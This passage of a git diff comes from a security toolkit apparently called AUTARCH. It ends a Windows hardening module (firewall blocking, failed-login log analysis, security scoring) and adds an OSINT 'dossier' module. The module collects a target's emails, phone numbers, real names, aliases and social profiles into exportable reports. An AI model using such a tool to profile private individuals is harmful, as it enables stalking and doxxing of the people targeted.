+ self.check("UAC Prompt Level", level >= 2, desc)
+
+ # ==================== FIREWALL MANAGEMENT ====================
+
+ def get_firewall_rules(self):
+ """Get all Windows Firewall inbound rules."""
+ success, output = self.run_cmd(
+ "netsh advfirewall firewall show rule name=all dir=in"
+ )
+ return success, output
+
+ def block_ip(self, ip):
+ """Block an IP via Windows Firewall."""
+ rule_name = f"AUTARCH_Block_{ip}"
+ success, output = self.run_cmd(
+ f'netsh advfirewall firewall add rule name="{rule_name}" '
+ f'dir=in action=block remoteip={ip}'
+ )
+ return success, f"Blocked {ip}" if success else f"Failed to block {ip} (need admin privileges)"
+
+ def unblock_ip(self, ip):
+ """Unblock an IP via Windows Firewall."""
+ rule_name = f"AUTARCH_Block_{ip}"
+ success, output = self.run_cmd(
+ f'netsh advfirewall firewall delete rule name="{rule_name}"'
+ )
+ return success, f"Unblocked {ip}" if success else f"Failed to unblock {ip}"
+
+ # ==================== EVENT LOG ANALYSIS ====================
+
+ def analyze_event_logs(self):
+ """Analyze Windows Security and System event logs."""
+ # Failed logins (Event ID 4625)
+ success, output = self.run_ps(
+ "Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} "
+ "-MaxEvents 500 -ErrorAction SilentlyContinue | "
+ "Select-Object TimeCreated, @{N='IP';E={$_.Properties[19].Value}}, "
+ "@{N='User';E={$_.Properties[5].Value}} | "
+ "Group-Object IP | Sort-Object Count -Descending | "
+ "Select-Object Count, Name, @{N='Users';E={($_.Group.User | Select-Object -Unique) -join ','}} | "
+ "ConvertTo-Json"
+ )
+ auth_results = []
+ if success and output.strip():
+ try:
+ data = json.loads(output)
+ if isinstance(data, dict):
+ data = [data]
+ for entry in data:
+ auth_results.append({
+ 'ip': entry.get('Name', 'Unknown'),
+ 'count': entry.get('Count', 0),
+ 'usernames': (entry.get('Users', '') or '').split(','),
+ })
+ except json.JSONDecodeError:
+ pass
+
+ # System warnings/errors
+ success, output = self.run_ps(
+ "Get-WinEvent -FilterHashtable @{LogName='System'; Level=1,2,3} "
+ "-MaxEvents 50 -ErrorAction SilentlyContinue | "
+ "Select-Object TimeCreated, Id, LevelDisplayName, Message | "
+ "ConvertTo-Json"
+ )
+ system_results = []
+ if success and output.strip():
+ try:
+ data = json.loads(output)
+ if isinstance(data, dict):
+ data = [data]
+ for entry in data[:20]:
+ system_results.append({
+ 'type': entry.get('LevelDisplayName', 'Warning'),
+ 'id': entry.get('Id', 0),
+ 'time': str(entry.get('TimeCreated', '')),
+ 'detail': (entry.get('Message', '') or '')[:200],
+ 'severity': 'HIGH' if entry.get('LevelDisplayName') in ('Critical', 'Error') else 'MEDIUM',
+ })
+ except json.JSONDecodeError:
+ pass
+
+ return auth_results, system_results
+
+
+# ==================== CLI MENU ====================
+
+def run():
+ """CLI entry point."""
+ from core.banner import Colors, clear_screen, display_banner
+ clear_screen()
+ display_banner()
+ print(f"\n{Colors.BOLD}{Colors.BLUE}Windows System Defense{Colors.RESET}\n")
+
+ d = WindowsDefender()
+ print(f"{Colors.CYAN}Running Windows security audit...{Colors.RESET}\n")
+
+ d.check_firewall()
+ d.check_ssh_config()
+ d.check_open_ports()
+ d.check_updates()
+ d.check_users()
+ d.check_permissions()
+ d.check_services()
+ d.check_defender()
+ d.check_uac()
+
+ passed = sum(1 for r in d.results if r['passed'])
+ total = len(d.results)
+ score = int((passed / total) * 100) if total > 0 else 0
+
+ print(f"\n{'=' * 50}")
+ color = Colors.GREEN if score >= 80 else Colors.YELLOW if score >= 50 else Colors.RED
+ print(f"{color}Security Score: {score}% ({passed}/{total} checks passed){Colors.RESET}")
+ print(f"{'=' * 50}\n")
+
+ input("Press Enter to continue...")
diff --git a/modules/dossier.py b/modules/dossier.py
new file mode 100644
index 0000000..acdbf97
--- /dev/null
+++ b/modules/dossier.py
@@ -0,0 +1,803 @@
+"""
+AUTARCH Dossier Module
+Manage and correlate OSINT investigation data
+
+Create dossiers to associate related OSINT findings like email searches,
+username scans, phone lookups, and custom notes.
+"""
+
+import os
+import sys
+import json
+import glob
+from pathlib import Path
+from datetime import datetime
+from typing import Dict, List, Optional
+
+# Module metadata
+NAME = "Dossier"
+DESCRIPTION = "Manage OSINT investigation dossiers"
+AUTHOR = "darkHal Security Group"
+VERSION = "1.0"
+CATEGORY = "osint"
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+from core.banner import Colors, clear_screen, display_banner
+
+
+class DossierManager:
+ """Manage OSINT investigation dossiers."""
+
+ def __init__(self):
+ from core.paths import get_dossiers_dir
+ self.dossier_dir = get_dossiers_dir()
+ self.dossier_dir.mkdir(exist_ok=True)
+ self.current_dossier = None
+ self.current_dossier_path = None
+
+ def print_status(self, message: str, status: str = "info"):
+ colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
+ symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
+ print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
+
+ # ==================== DOSSIER OPERATIONS ====================
+
+ def _generate_dossier_id(self, name: str) -> str:
+ """Generate a unique dossier ID from name."""
+ # Sanitize name for filename
+ safe_name = "".join(c if c.isalnum() or c in "-_" else "_" for c in name.lower())
+ timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
+ return f"{safe_name}_{timestamp}"
+
+ def _get_dossier_path(self, dossier_id: str) -> Path:
+ """Get path to dossier file."""
+ return self.dossier_dir / f"{dossier_id}.json"
+
+ def _create_empty_dossier(self, name: str, subject: str = "", notes: str = "") -> Dict:
+ """Create a new empty dossier structure."""
+ return {
+ "meta": {
+ "name": name,
+ "subject": subject,
+ "created": datetime.now().isoformat(),
+ "modified": datetime.now().isoformat(),
+ "notes": notes,
+ },
+ "identifiers": {
+ "emails": [],
+ "usernames": [],
+ "phones": [],
+ "real_names": [],
+ "aliases": [],
+ },
+ "results": {
+ "email_searches": [],
+ "username_searches": [],
+ "phone_searches": [],
+ },
+ "profiles": [],
+ "custom_notes": [],
+ }
+
+ def save_dossier(self, dossier: Dict, path: Path) -> bool:
+ """Save dossier to file."""
+ try:
+ dossier["meta"]["modified"] = datetime.now().isoformat()
+ with open(path, 'w') as f:
+ json.dump(dossier, f, indent=2)
+ return True
+ except Exception as e:
+ self.print_status(f"Failed to save dossier: {e}", "error")
+ return False
+
+ def load_dossier(self, path: Path) -> Optional[Dict]:
+ """Load dossier from file."""
+ try:
+ with open(path, 'r') as f:
+ return json.load(f)
+ except Exception as e:
+ self.print_status(f"Failed to load dossier: {e}", "error")
+ return None
+
+ def list_dossiers(self) -> List[Dict]:
+ """List all saved dossiers."""
+ dossiers = []
+ for file in self.dossier_dir.glob("*.json"):
+ try:
+ with open(file, 'r') as f:
+ data = json.load(f)
+ dossiers.append({
+ "path": file,
+ "id": file.stem,
+ "name": data.get("meta", {}).get("name", "Unknown"),
+ "subject": data.get("meta", {}).get("subject", ""),
+ "created": data.get("meta", {}).get("created", ""),
+ "modified": data.get("meta", {}).get("modified", ""),
+ "profiles_count": len(data.get("profiles", [])),
+ "identifiers_count": sum(len(v) for v in data.get("identifiers", {}).values()),
+ })
+ except:
+ continue
+ return sorted(dossiers, key=lambda x: x.get("modified", ""), reverse=True)
+
+ # ==================== UI METHODS ====================
+
+ def create_new_dossier(self):
+ """Interactive dossier creation."""
+ print(f"\n{Colors.BOLD}Create New Dossier{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ name = input(f"{Colors.WHITE}Dossier name: {Colors.RESET}").strip()
+ if not name:
+ self.print_status("Dossier name is required", "error")
+ return
+
+ subject = input(f"{Colors.WHITE}Subject (target name/identifier): {Colors.RESET}").strip()
+ notes = input(f"{Colors.WHITE}Initial notes (optional): {Colors.RESET}").strip()
+
+ # Create dossier
+ dossier_id = self._generate_dossier_id(name)
+ dossier_path = self._get_dossier_path(dossier_id)
+ dossier = self._create_empty_dossier(name, subject, notes)
+
+ # Prompt for initial identifiers
+ print(f"\n{Colors.CYAN}Add initial identifiers (press Enter to skip):{Colors.RESET}")
+
+ emails = input(f"{Colors.WHITE} Email(s) (comma-separated): {Colors.RESET}").strip()
+ if emails:
+ dossier["identifiers"]["emails"] = [e.strip() for e in emails.split(",") if e.strip()]
+
+ usernames = input(f"{Colors.WHITE} Username(s) (comma-separated): {Colors.RESET}").strip()
+ if usernames:
+ dossier["identifiers"]["usernames"] = [u.strip() for u in usernames.split(",") if u.strip()]
+
+ phones = input(f"{Colors.WHITE} Phone(s) (comma-separated): {Colors.RESET}").strip()
+ if phones:
+ dossier["identifiers"]["phones"] = [p.strip() for p in phones.split(",") if p.strip()]
+
+ real_names = input(f"{Colors.WHITE} Real name(s) (comma-separated): {Colors.RESET}").strip()
+ if real_names:
+ dossier["identifiers"]["real_names"] = [n.strip() for n in real_names.split(",") if n.strip()]
+
+ # Save dossier
+ if self.save_dossier(dossier, dossier_path):
+ self.print_status(f"Dossier created: {dossier_id}", "success")
+ self.current_dossier = dossier
+ self.current_dossier_path = dossier_path
+
+ # Ask if user wants to open it
+ open_now = input(f"\n{Colors.WHITE}Open dossier now? [{Colors.GREEN}y{Colors.WHITE}/{Colors.RED}n{Colors.WHITE}]: {Colors.RESET}").strip().lower()
+ if open_now == 'y':
+ self.view_dossier_detail(dossier, dossier_path)
+
+ def view_dossiers_list(self):
+ """Display list of saved dossiers."""
+ print(f"\n{Colors.BOLD}Saved Dossiers{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ dossiers = self.list_dossiers()
+
+ if not dossiers:
+ self.print_status("No dossiers found. Create one with 'Start New'.", "warning")
+ return
+
+ for i, d in enumerate(dossiers, 1):
+ created = d.get("created", "")[:10] if d.get("created") else "Unknown"
+ print(f" {Colors.GREEN}[{i}]{Colors.RESET} {d['name']}")
+ print(f" {Colors.DIM}Subject: {d.get('subject') or 'N/A'}{Colors.RESET}")
+ print(f" {Colors.DIM}Created: {created} | Profiles: {d['profiles_count']} | Identifiers: {d['identifiers_count']}{Colors.RESET}")
+ print()
+
+ print(f" {Colors.DIM}[0]{Colors.RESET} Back")
+ print()
+
+ choice = input(f"{Colors.WHITE}Select dossier to view: {Colors.RESET}").strip()
+
+ if choice == "0" or not choice:
+ return
+
+ try:
+ idx = int(choice) - 1
+ if 0 <= idx < len(dossiers):
+ selected = dossiers[idx]
+ dossier = self.load_dossier(selected["path"])
+ if dossier:
+ self.view_dossier_detail(dossier, selected["path"])
+ except ValueError:
+ self.print_status("Invalid selection", "error")
+
+ def view_dossier_detail(self, dossier: Dict, dossier_path: Path):
+ """View and manage a specific dossier."""
+ self.current_dossier = dossier
+ self.current_dossier_path = dossier_path
+
+ while True:
+ clear_screen()
+ display_banner()
+
+ meta = dossier.get("meta", {})
+ identifiers = dossier.get("identifiers", {})
+ results = dossier.get("results", {})
+ profiles = dossier.get("profiles", [])
+
+ print(f"{Colors.MAGENTA}{Colors.BOLD} Dossier: {meta.get('name', 'Unknown')}{Colors.RESET}")
+ print(f"{Colors.DIM} Subject: {meta.get('subject') or 'N/A'}{Colors.RESET}")
+ print(f"{Colors.DIM} Created: {meta.get('created', '')[:19]}{Colors.RESET}")
+ print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
+ print()
+
+ # Summary stats
+ total_identifiers = sum(len(v) for v in identifiers.values())
+ total_searches = sum(len(v) for v in results.values())
+
+ print(f" {Colors.CYAN}Summary:{Colors.RESET}")
+ print(f" Identifiers: {total_identifiers}")
+ print(f" Searches: {total_searches}")
+ print(f" Profiles: {len(profiles)}")
+ print()
+
+ # Menu
+ print(f" {Colors.GREEN}View{Colors.RESET}")
+ print(f" {Colors.GREEN}[1]{Colors.RESET} View Identifiers")
+ print(f" {Colors.GREEN}[2]{Colors.RESET} View Search Results")
+ print(f" {Colors.GREEN}[3]{Colors.RESET} View Profiles")
+ print(f" {Colors.GREEN}[4]{Colors.RESET} View Notes")
+ print()
+ print(f" {Colors.CYAN}Add{Colors.RESET}")
+ print(f" {Colors.CYAN}[5]{Colors.RESET} Add Identifier")
+ print(f" {Colors.CYAN}[6]{Colors.RESET} Import Search Results")
+ print(f" {Colors.CYAN}[7]{Colors.RESET} Add Profile Manually")
+ print(f" {Colors.CYAN}[8]{Colors.RESET} Add Note")
+ print()
+ print(f" {Colors.YELLOW}Manage{Colors.RESET}")
+ print(f" {Colors.YELLOW}[E]{Colors.RESET} Edit Dossier Info")
+ print(f" {Colors.YELLOW}[X]{Colors.RESET} Export Dossier")
+ print(f" {Colors.RED}[D]{Colors.RESET} Delete Dossier")
+ print()
+ print(f" {Colors.DIM}[0]{Colors.RESET} Back")
+ print()
+
+ choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower()
+
+ if choice == "0":
+ break
+ elif choice == "1":
+ self._view_identifiers(dossier)
+ elif choice == "2":
+ self._view_search_results(dossier)
+ elif choice == "3":
+ self._view_profiles(dossier)
+ elif choice == "4":
+ self._view_notes(dossier)
+ elif choice == "5":
+ self._add_identifier(dossier, dossier_path)
+ elif choice == "6":
+ self._import_search_results(dossier, dossier_path)
+ elif choice == "7":
+ self._add_profile_manually(dossier, dossier_path)
+ elif choice == "8":
+ self._add_note(dossier, dossier_path)
+ elif choice == "e":
+ self._edit_dossier_info(dossier, dossier_path)
+ elif choice == "x":
+ self._export_dossier(dossier)
+ elif choice == "d":
+ if self._delete_dossier(dossier_path):
+ break
+
+ def _view_identifiers(self, dossier: Dict):
+ """View all identifiers in dossier."""
+ print(f"\n{Colors.BOLD}Identifiers{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ identifiers = dossier.get("identifiers", {})
+
+ for id_type, values in identifiers.items():
+ if values:
+ print(f" {Colors.CYAN}{id_type.replace('_', ' ').title()}:{Colors.RESET}")
+ for v in values:
+ print(f" - {v}")
+ print()
+
+ if not any(identifiers.values()):
+ print(f" {Colors.DIM}No identifiers added yet.{Colors.RESET}\n")
+
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def _view_search_results(self, dossier: Dict):
+ """View search results summary."""
+ print(f"\n{Colors.BOLD}Search Results{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ results = dossier.get("results", {})
+
+ # Email searches
+ email_searches = results.get("email_searches", [])
+ if email_searches:
+ print(f" {Colors.CYAN}Email Searches ({len(email_searches)}):{Colors.RESET}")
+ for search in email_searches:
+ print(f" - {search.get('email', 'N/A')} ({search.get('date', '')[:10]})")
+ print()
+
+ # Username searches
+ username_searches = results.get("username_searches", [])
+ if username_searches:
+ print(f" {Colors.CYAN}Username Searches ({len(username_searches)}):{Colors.RESET}")
+ for search in username_searches:
+ found_count = len(search.get("found", []))
+ print(f" - {search.get('username', 'N/A')}: {found_count} profiles found ({search.get('date', '')[:10]})")
+ print()
+
+ # Phone searches
+ phone_searches = results.get("phone_searches", [])
+ if phone_searches:
+ print(f" {Colors.CYAN}Phone Searches ({len(phone_searches)}):{Colors.RESET}")
+ for search in phone_searches:
+ print(f" - {search.get('phone', 'N/A')} ({search.get('date', '')[:10]})")
+ print()
+
+ if not any([email_searches, username_searches, phone_searches]):
+ print(f" {Colors.DIM}No search results imported yet.{Colors.RESET}\n")
+
+ # Option to view details
+ if username_searches:
+ view = input(f"\n{Colors.WHITE}View username search details? [{Colors.GREEN}y{Colors.WHITE}/{Colors.RED}n{Colors.WHITE}]: {Colors.RESET}").strip().lower()
+ if view == 'y':
+ self._view_username_search_details(username_searches)
+ else:
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def _view_username_search_details(self, username_searches: List[Dict]):
+ """View detailed username search results."""
+ print(f"\n{Colors.BOLD}Username Search Details{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ for i, search in enumerate(username_searches, 1):
+ print(f" {Colors.GREEN}[{i}]{Colors.RESET} {search.get('username', 'N/A')}")
+
+ choice = input(f"\n{Colors.WHITE}Select search to view (0 to cancel): {Colors.RESET}").strip()
+
+ try:
+ idx = int(choice) - 1
+ if 0 <= idx < len(username_searches):
+ search = username_searches[idx]
+ print(f"\n{Colors.BOLD}Results for '{search.get('username', 'N/A')}'{Colors.RESET}")
+ print(f"{Colors.DIM}Date: {search.get('date', 'N/A')}{Colors.RESET}")
+ print(f"{Colors.DIM}Total checked: {search.get('total_checked', 'N/A')}{Colors.RESET}\n")
+
+ for profile in search.get("found", []):
+ status_color = Colors.GREEN if profile.get("status") == "good" else Colors.YELLOW
+ print(f" {status_color}[+]{Colors.RESET} {profile.get('name', 'Unknown')}")
+ print(f" {Colors.DIM}{profile.get('url', 'N/A')}{Colors.RESET}")
+ if profile.get("rate"):
+ print(f" {Colors.DIM}Rate: {profile.get('rate')}{Colors.RESET}")
+ print()
+ except (ValueError, IndexError):
+ pass
+
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def _view_profiles(self, dossier: Dict):
+ """View all collected profiles."""
+ print(f"\n{Colors.BOLD}Profiles{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ profiles = dossier.get("profiles", [])
+
+ if not profiles:
+ print(f" {Colors.DIM}No profiles collected yet.{Colors.RESET}\n")
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+ return
+
+ # Group by category
+ by_category = {}
+ for p in profiles:
+ cat = p.get("category", "other")
+ if cat not in by_category:
+ by_category[cat] = []
+ by_category[cat].append(p)
+
+ for category, cat_profiles in sorted(by_category.items()):
+ print(f" {Colors.CYAN}{category.title()} ({len(cat_profiles)}):{Colors.RESET}")
+ for p in cat_profiles:
+ status_color = Colors.GREEN if p.get("status") == "good" else Colors.YELLOW
+ print(f" {status_color}[+]{Colors.RESET} {p.get('name', 'Unknown')}")
+ print(f" {Colors.DIM}{p.get('url', 'N/A')}{Colors.RESET}")
+ print()
+
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def _view_notes(self, dossier: Dict):
+ """View dossier notes."""
+ print(f"\n{Colors.BOLD}Notes{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ # Main notes
+ main_notes = dossier.get("meta", {}).get("notes", "")
+ if main_notes:
+ print(f" {Colors.CYAN}Main Notes:{Colors.RESET}")
+ print(f" {main_notes}")
+ print()
+
+ # Custom notes
+ custom_notes = dossier.get("custom_notes", [])
+ if custom_notes:
+ print(f" {Colors.CYAN}Additional Notes:{Colors.RESET}")
+ for note in custom_notes:
+ print(f" [{note.get('date', '')[:10]}] {note.get('text', '')}")
+ print()
+
+ if not main_notes and not custom_notes:
+ print(f" {Colors.DIM}No notes added yet.{Colors.RESET}\n")
+
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def _add_identifier(self, dossier: Dict, dossier_path: Path):
+ """Add an identifier to dossier."""
+ print(f"\n{Colors.BOLD}Add Identifier{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ print(f" {Colors.GREEN}[1]{Colors.RESET} Email")
+ print(f" {Colors.GREEN}[2]{Colors.RESET} Username")
+ print(f" {Colors.GREEN}[3]{Colors.RESET} Phone")
+ print(f" {Colors.GREEN}[4]{Colors.RESET} Real Name")
+ print(f" {Colors.GREEN}[5]{Colors.RESET} Alias")
+ print()
+
+ choice = input(f"{Colors.WHITE}Select type: {Colors.RESET}").strip()
+
+ type_map = {"1": "emails", "2": "usernames", "3": "phones", "4": "real_names", "5": "aliases"}
+
+ if choice not in type_map:
+ return
+
+ id_type = type_map[choice]
+ value = input(f"{Colors.WHITE}Enter value: {Colors.RESET}").strip()
+
+ if value:
+ if "identifiers" not in dossier:
+ dossier["identifiers"] = {}
+ if id_type not in dossier["identifiers"]:
+ dossier["identifiers"][id_type] = []
+
+ if value not in dossier["identifiers"][id_type]:
+ dossier["identifiers"][id_type].append(value)
+ self.save_dossier(dossier, dossier_path)
+ self.print_status(f"Added {id_type[:-1]}: {value}", "success")
+ else:
+ self.print_status("Identifier already exists", "warning")
+
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def _import_search_results(self, dossier: Dict, dossier_path: Path):
+ """Import search results from JSON files."""
+ print(f"\n{Colors.BOLD}Import Search Results{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ print(f" {Colors.GREEN}[1]{Colors.RESET} Import username search results (JSON)")
+ print(f" {Colors.GREEN}[2]{Colors.RESET} Import from file path")
+ print(f" {Colors.GREEN}[3]{Colors.RESET} Scan current directory for results")
+ print()
+
+ choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip()
+
+ if choice == "1" or choice == "2":
+ file_path = input(f"{Colors.WHITE}Enter JSON file path: {Colors.RESET}").strip()
+ if file_path and os.path.exists(file_path):
+ self._import_from_file(dossier, dossier_path, file_path)
+ else:
+ self.print_status("File not found", "error")
+
+ elif choice == "3":
+ # Scan for *_profiles.json files
+ json_files = glob.glob("*_profiles.json")
+ if not json_files:
+ self.print_status("No *_profiles.json files found in current directory", "warning")
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+ return
+
+ print(f"\n {Colors.CYAN}Found files:{Colors.RESET}")
+ for i, f in enumerate(json_files, 1):
+ print(f" {Colors.GREEN}[{i}]{Colors.RESET} {f}")
+ print()
+
+ file_choice = input(f"{Colors.WHITE}Select file to import (0 to cancel): {Colors.RESET}").strip()
+ try:
+ idx = int(file_choice) - 1
+ if 0 <= idx < len(json_files):
+ self._import_from_file(dossier, dossier_path, json_files[idx])
+ except ValueError:
+ pass
+
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def _import_from_file(self, dossier: Dict, dossier_path: Path, file_path: str):
+ """Import data from a specific file."""
+ try:
+ with open(file_path, 'r') as f:
+ data = json.load(f)
+
+ # Detect file type and import
+ if "username" in data and "found" in data:
+ # Username search results
+ username = data.get("username", "unknown")
+ found = data.get("found", [])
+ total_checked = data.get("total_checked", 0)
+
+ # Add to results
+ if "results" not in dossier:
+ dossier["results"] = {}
+ if "username_searches" not in dossier["results"]:
+ dossier["results"]["username_searches"] = []
+
+ search_entry = {
+ "username": username,
+ "date": datetime.now().isoformat(),
+ "total_checked": total_checked,
+ "found": found,
+ "source_file": file_path,
+ }
+ dossier["results"]["username_searches"].append(search_entry)
+
+ # Also add username to identifiers if not present
+ if username not in dossier.get("identifiers", {}).get("usernames", []):
+ if "identifiers" not in dossier:
+ dossier["identifiers"] = {}
+ if "usernames" not in dossier["identifiers"]:
+ dossier["identifiers"]["usernames"] = []
+ dossier["identifiers"]["usernames"].append(username)
+
+ # Add found profiles to main profiles list
+ if "profiles" not in dossier:
+ dossier["profiles"] = []
+
+ added_profiles = 0
+ for profile in found:
+ # Check if profile URL already exists
+ existing_urls = [p.get("url") for p in dossier["profiles"]]
+ if profile.get("url") not in existing_urls:
+ dossier["profiles"].append(profile)
+ added_profiles += 1
+
+ self.save_dossier(dossier, dossier_path)
+ self.print_status(f"Imported: {username} ({len(found)} profiles, {added_profiles} new)", "success")
+
+ else:
+ self.print_status("Unknown file format", "error")
+
+ except json.JSONDecodeError:
+ self.print_status("Invalid JSON file", "error")
+ except Exception as e:
+ self.print_status(f"Import failed: {e}", "error")
+
+ def _add_profile_manually(self, dossier: Dict, dossier_path: Path):
+ """Manually add a profile."""
+ print(f"\n{Colors.BOLD}Add Profile Manually{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ name = input(f"{Colors.WHITE}Site/platform name: {Colors.RESET}").strip()
+ url = input(f"{Colors.WHITE}Profile URL: {Colors.RESET}").strip()
+ category = input(f"{Colors.WHITE}Category (social/forum/other): {Colors.RESET}").strip() or "other"
+ notes = input(f"{Colors.WHITE}Notes (optional): {Colors.RESET}").strip()
+
+ if name and url:
+ profile = {
+ "name": name,
+ "url": url,
+ "category": category,
+ "status": "manual",
+ "rate": "100%",
+ "notes": notes,
+ "added": datetime.now().isoformat(),
+ }
+
+ if "profiles" not in dossier:
+ dossier["profiles"] = []
+
+ dossier["profiles"].append(profile)
+ self.save_dossier(dossier, dossier_path)
+ self.print_status(f"Added profile: {name}", "success")
+ else:
+ self.print_status("Name and URL are required", "error")
+
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def _add_note(self, dossier: Dict, dossier_path: Path):
+ """Add a note to dossier."""
+ print(f"\n{Colors.BOLD}Add Note{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ note_text = input(f"{Colors.WHITE}Enter note: {Colors.RESET}").strip()
+
+ if note_text:
+ if "custom_notes" not in dossier:
+ dossier["custom_notes"] = []
+
+ dossier["custom_notes"].append({
+ "date": datetime.now().isoformat(),
+ "text": note_text,
+ })
+
+ self.save_dossier(dossier, dossier_path)
+ self.print_status("Note added", "success")
+
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def _edit_dossier_info(self, dossier: Dict, dossier_path: Path):
+ """Edit dossier metadata."""
+ print(f"\n{Colors.BOLD}Edit Dossier Info{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ meta = dossier.get("meta", {})
+
+ print(f" Current name: {meta.get('name', '')}")
+ new_name = input(f"{Colors.WHITE}New name (Enter to keep): {Colors.RESET}").strip()
+ if new_name:
+ dossier["meta"]["name"] = new_name
+
+ print(f" Current subject: {meta.get('subject', '')}")
+ new_subject = input(f"{Colors.WHITE}New subject (Enter to keep): {Colors.RESET}").strip()
+ if new_subject:
+ dossier["meta"]["subject"] = new_subject
+
+ print(f" Current notes: {meta.get('notes', '')}")
+ new_notes = input(f"{Colors.WHITE}New notes (Enter to keep): {Colors.RESET}").strip()
+ if new_notes:
+ dossier["meta"]["notes"] = new_notes
+
+ self.save_dossier(dossier, dossier_path)
+ self.print_status("Dossier info updated", "success")
+
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def _export_dossier(self, dossier: Dict):
+ """Export dossier to various formats."""
+ print(f"\n{Colors.BOLD}Export Dossier{Colors.RESET}")
+ print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
+
+ name = dossier.get("meta", {}).get("name", "dossier")
+ safe_name = "".join(c if c.isalnum() or c in "-_" else "_" for c in name.lower())
+
+ print(f" {Colors.GREEN}[1]{Colors.RESET} Export as JSON")
+ print(f" {Colors.GREEN}[2]{Colors.RESET} Export as Text Report")
+ print()
+
+ choice = input(f"{Colors.WHITE}Select format: {Colors.RESET}").strip()
+
+ if choice == "1":
+ filename = f"{safe_name}_export.json"
+ with open(filename, 'w') as f:
+ json.dump(dossier, f, indent=2)
+ self.print_status(f"Exported to {filename}", "success")
+
+ elif choice == "2":
+ filename = f"{safe_name}_report.txt"
+ self._export_text_report(dossier, filename)
+ self.print_status(f"Exported to {filename}", "success")
+
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def _export_text_report(self, dossier: Dict, filename: str):
+ """Export dossier as text report."""
+ meta = dossier.get("meta", {})
+ identifiers = dossier.get("identifiers", {})
+ profiles = dossier.get("profiles", [])
+
+ lines = [
+ "=" * 60,
+ f"AUTARCH DOSSIER REPORT",
+ "=" * 60,
+ "",
+ f"Name: {meta.get('name', 'N/A')}",
+ f"Subject: {meta.get('subject', 'N/A')}",
+ f"Created: {meta.get('created', 'N/A')}",
+ f"Modified: {meta.get('modified', 'N/A')}",
+ "",
+ "-" * 60,
+ "IDENTIFIERS",
+ "-" * 60,
+ ]
+
+ for id_type, values in identifiers.items():
+ if values:
+ lines.append(f"\n{id_type.replace('_', ' ').title()}:")
+ for v in values:
+ lines.append(f" - {v}")
+
+ lines.extend([
+ "",
+ "-" * 60,
+ f"PROFILES ({len(profiles)})",
+ "-" * 60,
+ ])
+
+ for p in profiles:
+ lines.append(f"\n[{p.get('category', 'other')}] {p.get('name', 'Unknown')}")
+ lines.append(f" URL: {p.get('url', 'N/A')}")
+ if p.get('status'):
+ lines.append(f" Status: {p.get('status')} ({p.get('rate', 'N/A')})")
+
+ # Notes
+ notes = dossier.get("custom_notes", [])
+ if notes or meta.get("notes"):
+ lines.extend([
+ "",
+ "-" * 60,
+ "NOTES",
+ "-" * 60,
+ ])
+ if meta.get("notes"):
+ lines.append(f"\n{meta.get('notes')}")
+ for note in notes:
+ lines.append(f"\n[{note.get('date', '')[:10]}] {note.get('text', '')}")
+
+ lines.extend([
+ "",
+ "=" * 60,
+ "Generated by AUTARCH - darkHal Security Group",
+ "=" * 60,
+ ])
+
+ with open(filename, 'w') as f:
+ f.write("\n".join(lines))
+
+ def _delete_dossier(self, dossier_path: Path) -> bool:
+ """Delete a dossier."""
+ confirm = input(f"\n{Colors.RED}Are you sure you want to delete this dossier? [{Colors.WHITE}yes{Colors.RED}/{Colors.WHITE}no{Colors.RED}]: {Colors.RESET}").strip().lower()
+
+ if confirm == "yes":
+ try:
+ os.remove(dossier_path)
+ self.print_status("Dossier deleted", "success")
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+ return True
+ except Exception as e:
+ self.print_status(f"Failed to delete: {e}", "error")
+
+ return False
+
+ # ==================== MAIN MENU ====================
+
+ def show_menu(self):
+ clear_screen()
+ display_banner()
+
+ print(f"{Colors.MAGENTA}{Colors.BOLD} Dossier Manager{Colors.RESET}")
